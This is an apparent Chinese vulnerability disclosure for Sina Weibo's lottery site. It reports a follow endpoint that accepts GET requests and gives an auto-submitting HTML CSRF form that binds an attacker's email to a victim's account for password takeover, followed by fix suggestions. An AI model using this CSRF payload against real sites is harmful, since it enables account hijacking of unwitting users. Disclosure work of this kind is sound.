1.加关注的接口POST变GET；
2.不只是刷粉丝呢，xss可以偷身份，csrf同样可以的！
1.是这个站点撒：http://caipiao.weibo.com,先登录，将信息填好撒！
2.加关注的接口本来是一个POST请求的，结果我简单试了下，直接GET也可以撒，这个不能原谅哦，如下：
http://w.aicai.com/ajaxCareFriend.do?uid=1981622273直接访问，再看看微博关注了谁吧：
3.再看另一个问题，CSRF绑定邮箱，再取回密码，进入【安全中心】：
4.在邮箱那里，点击立即设置，填好事先准备的QQ邮箱：
5.将该请求抓下，准备一个POST请求的POC页面，这个要是能GET，麻烦就大了：
< html >
<body>
<form id="fengxiaoxiao" name="fengxiaoxiao" action="http://w.aicai.com/userEmail.do" method="POST">
<input type="text" name="email" value="*********@qq.com" />
<input type="submit" value="submit" />
</form>
<script>
document.fengxiaoxiao.submit();
</script>
</body>
</html>
6.把链接发给指定的人撒，QQ邮箱来邮件了：
7.用另一个微博账号点击上述链接，成功绑定！
修复方案： 1.CSRF要彻底检查下啊，不只是这两个地方；
2.绑定邮箱的地方经实践证明，可以直接GET的，麻烦大了
3.关键接口没有做用户验证，比如提示用户首先输入密码才可绑定邮箱或手机，哪怕设置一个图片验证码也可防止这种情况
查看更多关于新浪微博还一处非常严重的CSRF刷粉丝 - 网站安全的详细内容...